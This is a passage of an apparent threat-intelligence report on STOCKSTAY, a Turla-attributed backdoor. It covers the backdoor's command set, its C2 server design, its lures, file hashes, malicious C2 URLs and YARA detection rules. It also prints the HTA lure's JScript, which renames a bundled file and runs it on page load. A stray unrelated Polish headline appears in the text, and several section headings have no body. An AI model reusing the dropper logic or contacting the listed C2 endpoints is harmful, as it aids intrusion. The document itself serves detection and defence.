        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}

rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}

rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld <token>
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld <token>
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld <token>
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

Acknowledgements

This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat.

Rekordowe zainteresowanie narzędziami AI. Umiejętności Jutra: AI: aż 94% absolwentów zamierza korzystać z AI w pracy

2026-06-25T14:00:00+00:00

Pełna sala absolwentów Umiejętności Jutra AI

STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus

2026-06-25T14:00:00+00:00

Written by: Jordan Jones

Introduction

STOCKSTAY Overview

Figure 1: Overview of STOCKSTAY malware architecture

STOCKSTAY.STOCKBROKER

STOCKSTAY.STOCKMARKET

{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}

Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information

{
  "internal_id": "<server_identifier>",
  "internal_key": "<server_public_key>",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "<websocket_c2_url>",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}

Figure 3: Decrypted STOCKSTAY configuration file format (extracted from SystemConfiguration field)

STOCKSTAY.STOCKTRADER

Task Command Name	Description
`Del`	Delete the specified files. Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.
`Dir`	Generate a listing of the specified directories. Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2. Optionally performs recursive directory listing.
`Get`	Retrieve one or more specified files. Allows for collection of files with specific extensions. Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.
`Image`	Perform a screen-capture of the victim’s screen. The resultant image is base64-encoded for transmission to the C2.
`MkDir`	Create one or more directories. Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.
`MultyTask`	Process multiple tasks at once. Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task. Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.
`Put`	Upload a file to the device. Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode. Confirmation of file upload, or details of any relevant error, is returned to the C2.
`RegDelete`	Delete a registry value. Requires a registry key and corresponding value name to delete.
`RegRead`	Read a registry value. Requires a registry key and corresponding value name to read.
`RegWrite`	Set a registry value. Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value.
`RmDir`	Delete the specified directories. Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.
`Run`	Execute a new process. Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration. All subprocesses are created windowless with redirected stdout.
`Sysinfo`	Conduct a system survey to gather key information about the infected host. Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields: OSVersion Architecture SerialNumber CodeSet CountryCode Locale InstallDate BootupTime MachineName SystemDirectory LocalTime AnsiCodePage UserName With respect to hardware, WMI is queried for the following: ProcessorName NumberCores ClockSpeed MemoryCapacity MemoryType DiskModel DiskSize The malware also captures a list of the names of running processes.
`UnpackArchive`	Extract the specified ZIP file to its current directory.

Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER

Related Downloaders and Installers

STOCKSTAY.MARKETMAKER

.NET AppDomainManager

STOCKSTAY Server-Side Controller

Figure 4: Overview of STOCKSTAY C2 Infrastructure

The server extends tornado.websocket.WebSocketHandler to provide the interface described in Table 2, under the path /ws; aligning with all observed STOCKSTAY WebSocket C2 URLs.

Event	Description
WebSocketHandler.check_origin	Hard-coded to return True to accept all cross-origin traffic.
WebSocketHandler.open	Logs the client’s IP address using the following string format: `WebSocket open. IP: {client_ip}`
WebSocketHandler.on_message	Handles inbound messages from the connected client. Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”. Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type. Action: send The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local `weather_data` database table. `container.target` The STOCKSTAY client populates this field with the `internal_id` or `i_id` field from the config file. `container.sender` The STOCKSTAY client populates this field with the unique client uuid generated on first execution. `container.message` This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. On completion, the server logs the following message: `Action: send; trgt={target_id}; sndr={sender_id}` Action: recv Inbound `recv` requests simply specify the `container.sender` attribute, which corresponds with the client’s unique identifier. The server then retrieves all messages from the `weather_data` database table where the target identifier (“degrees” column) matches the specified `container.sender`. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller. Each matching row is returned to the client in the following format, before being deleted from the database. `{ "target": degrees, "sender": pressure, "message": wdata, "ip": coords, "time": datetime }` On completion, the server logs the following message: `Action: recv; sndr={sender}`
WebSocketHandler.on_close	Logs the client’s IP address using the following string format: `WebSocket close. IP: {client_ip}`

Table 2: Overview of STOCKSTAY WebSocket Server Interface

Database Structure

The server maintains a local SQLite3 database under the filename weather_data1.db, structured as shown in Tables 3 and 4.

Column	Description
`id`	Primary key
`degrees`	Recipient's UUID from `container.target`
`pressure`	Sender's UUID from `container.sender`
`wdata`	Message data from `container.message`
`coords`	Sender's IP address, extracted from `X-Forwarded-For` header, or `none_ip` if no sender specified.
`status`	Defaults to 0 - doesn't appear to be used or returned to the client.
`datetime`	Time of row creation

Table 3: weather_data database table structure

Column	Description
`id`	Primary key
`data`	Log message
`datetime`	Time of creation

Table 4: log database table structure

Key Operational Characteristics

Consistent Use of Academic or Diplomatic Lure Content

The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:

compromising an email account belonging to a Ukrainian university to disseminate phishing emails;
using the names of an academic institution within the file name of a malicious RDP file;
compromising a diplomatic education platform for phishing and distribution of malicious RDP files;
using “education” and “diplo” within registered phishing domains; and
using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.

Persistent Ukrainian Targeting

Suspected European Targeting

Deployment via Malicious RDP Files

Deployments at Multiple Stages of Operations

Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations.

Overlaps with KAZUAR

K1MORPHER String Obfuscation

Implant Architecture

Environmental Keying

Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.

Summary of Overlaps

STOCKSTAY Timeline

Figure 5: Timeline of STOCKSTAY observations

December 2022

Filename	Description	SHA-256
`websocket-sharp.dll`	Instance of open-source library used by the threat actor	`d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e`

Table 5: File indicators

September 21, 2023: Germany

Figure 6: Early STOCKSTAY user-interface

Filename	Description	SHA-256
`DriversPrinterGraphic.rar`	RAR archive containing STOCKSTAY	`e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6`
`StockMarketNews.exe`	STOCKSTAY combined executable	`1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24`
`sample.conf`	STOCKSTAY configuration file	`1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f`

Table 6: File indicators

December 5 – 6, 2023: Netherlands

This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.

Component	Filename
STOCKSTAY.STOCKMARKET	StockMarketView.exe
STOCKSTAY.STOCKBROKER	StockMarketNet.exe
STOCKSTAY.STOCKTRADER	StockMarketSystem.exe

Table 7: STOCKSTAY component filenames observed in December 2023

Filename	Description	SHA-256
`apps_libwallets_v1.3.rar`	RAR archive containing STOCKSTAY components	`81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec`
`StockMarketNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b`
`StockMarketSystem.exe`	STOCKSTAY.STOCKTRADER backdoor	`0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b`
`default.conf`	STOCKSTAY configuration file	`2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7`

Table 8: File indicators

January 2024: Ukraine

Indicator	Description
`wss://wool-basalt-clock.glitch.me/ws`	STOCKSTAY WebSocket C2

Table 9: Network indicators

February 2024: Italy

viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php

Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%

Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri

Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.

Filename	Description	SHA-256
`Copia.msi`	MSI containing STOCKSTAY components	`b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb`
`StockMarketNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb`
`StockMarketSystem.exe`	STOCKSTAY.STOCKTRADER backdoor	`b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a`
`default.conf`	STOCKSTAY configuration file	`40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50`

Table 10: File indicators

Indicator	Description
`https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php`	Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.
`wss://wool-basalt-clock.glitch.me/ws`	STOCKSTAY WebSocket C2

Table 11: Network indicators

March 18 – April 3, 2025: Ukraine

Filename	Description	SHA-256
`MicrosoftUpdateOneDrive.exe`	STOCKSTAY.MARKETMAKER Downloader	`da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40`
`docs.zip`	ZIP archive containing STOCKSTAY components	`9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73`
`SMEditor.exe`	STOCKSTAY.STOCKTRADER backdoor	`e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722`
`SMNet.exe`	STOCKSTAY.STOCKBROKER tunneler	`dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22`
`StockMarketView.exe`	STOCKSTAY.STOCKMARKET orchestrator	`2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0`
`fonts`	STOCKSTAY configuration file	`40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3`

Table 12: File indicators

Indicator	Description
`https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip`	Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components
`wss://weatherdataai.theworkpc.com/ws`	STOCKSTAY WebSocket C2

Table 13: Network indicators

May 14, 2025: Poland

GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May 14, 2025 from Poland.

Filename	Description	SHA-256
`ClientMNGR2.exe`	STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER	`d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43`
`GR3.exe`	STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER	`98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397`

Table 14: File indicators

May 28 – August 8, 2025: Ukraine — Deployment via Malicious HTA

Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta

<script language="JScript">
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
</script>

Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta

GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May 13, 2025.

Filename	Description	SHA-256
`calculator.rar`	RAR archive containing STOCKSTAY components	`6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342`
`Калькулятор грошового забезпечення військовослужбовців 2025.hta`	HTA lure (translated filename: “Military personnel cash benefit calculator 2025.hta”)	`0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4`
`styles.dat.exe`	STOCKSTAY.MARKETMAKER downloader	`626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459`
`EditorToolsPdf.zip`	ZIP archive containing STOCKSTAY components	`447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4`
`ViewPdf.exe`	STOCKSTAY.STOCKMARKET orchestrator	`45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893`
`ClientMNGR.exe`	STOCKSTAY.STOCKBROKER tunneler	`80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661`
`ConverterDDSNet.exe`	STOCKSTAY.STOCKTRADER backdoor	`55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c`
`fonts`	STOCKSTAY configuration file	`e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff`

Table 15: File indicators

Indicator	Description
`https://basecon.com.ua/calculator.rar`	RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader
`https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip`	Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive
`wss://canal1zac1a.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 16: Network indicators

July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files

GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, Roberto1983-ai, was created on July 23, 2025 at 12:01:03.

Filename	Description	SHA-256
`DiplomacyEduAI.msi`	MSI containing STOCKSTAY components	`19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9`
`DiplomacyEduAI.msi`	MSI containing STOCKSTAY components	`6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e`
`ClientMNGR.exe`	STOCKSTAY.STOCKBROKER tunneler	`80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661`
`ViewPdf.exe`	STOCKSTAY.STOCKMARKET orchestrator	`45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893`
`ConverterDDSNet.exe`	STOCKSTAY.STOCKTRADER backdoor	`d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3`
`fonts`	STOCKSTAY configuration file	`4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320`

Table 17: File indicators

Indicator	Description
`wss://canal1zac1a.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 18: Network indicators

August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code

Filename	Description	SHA-256
`server.py`	Python STOCKSTAY C2 controller	`f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed`
`models.py`	Database table definitions and models for use by `server.py`	`7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78`
`wtools.py`	Utility functions for use by `server.py`	`b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636`

Table 19: File indicators

Indicator	Description
`wss://google-ai-labs-it.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 20: Network indicators

November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088

Figure 10: “Report” Decoy document from November 2025

Figure 11: “Equipment List” Decoy document from November 2025

Component	Filename
STOCKSTAY.STOCKMARKET	`MSViewer.exe`
Shared STOCKSTAY core module	`ms-lib-math-core.dll`
STOCKSTAY.STOCKBROKER	`MSDriver.exe`
STOCKSTAY.STOCKBROKER core module	`ms-api-wmcpdt.dll`
STOCKSTAY.STOCKTRADER	`MSRender.exe`
STOCKSTAY.STOCKTRADER core module	`ms-api-win-render.dll`

Table 21: STOCKSTAY component filenames observed in November 2025

Filename	Description	SHA-256
`MSViewer.exe`	STOCKSTAY.STOCKMARKET orchestrator	`a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce`
`MSViewer.exe`	STOCKSTAY.STOCKMARKET orchestrator	`e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8`
`MSDriver.exe`	STOCKSTAY.STOCKBROKER tunneler	`c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9`
`MSRender.exe`	STOCKSTAY.STOCKTRADER backdoor	`667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38`
`ms-lib-math-core.dll`	Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components	`b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89`
`ms-api-win-render.dll`	Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER	`1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851`
`ms-api-wmcpdt.dll`	Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component	`e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714`
`MSViewer.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKMARKET	`3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14`
`MSRender.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKTRADER	`77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167`
`MSDriver.lnk`	LNK shortcut intended to execute STOCKSTAY.STOCKBROKER	`813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5`
`fonts`	STOCKSTAY configuration file	`e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3`
`fonts`	STOCKSTAY configuration file	`f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da`

Table 22: File indicators

Indicator	Description
`wss://driverx86-adobe.onrender.com/ws`	STOCKSTAY WebSocket C2
`wss://google-ai-labs-it.onrender.com/ws`	STOCKSTAY WebSocket C2

Table 23: Network indicators

Attribution

GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:

STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia.
STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.
GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.

Detections

Google Security Operations (SecOps)

Archiver Extraction To Windows Startup
Registry Write Registry Run Keys
Registry Write to Run Registry Key
Potential RDP File Write From Phishing
RDP Connection Initiated from Staging Directory
Onrender Subdomain Suspicious DNS Query

YARA Rules

rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize > 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}

rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}

rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}

rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}

rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
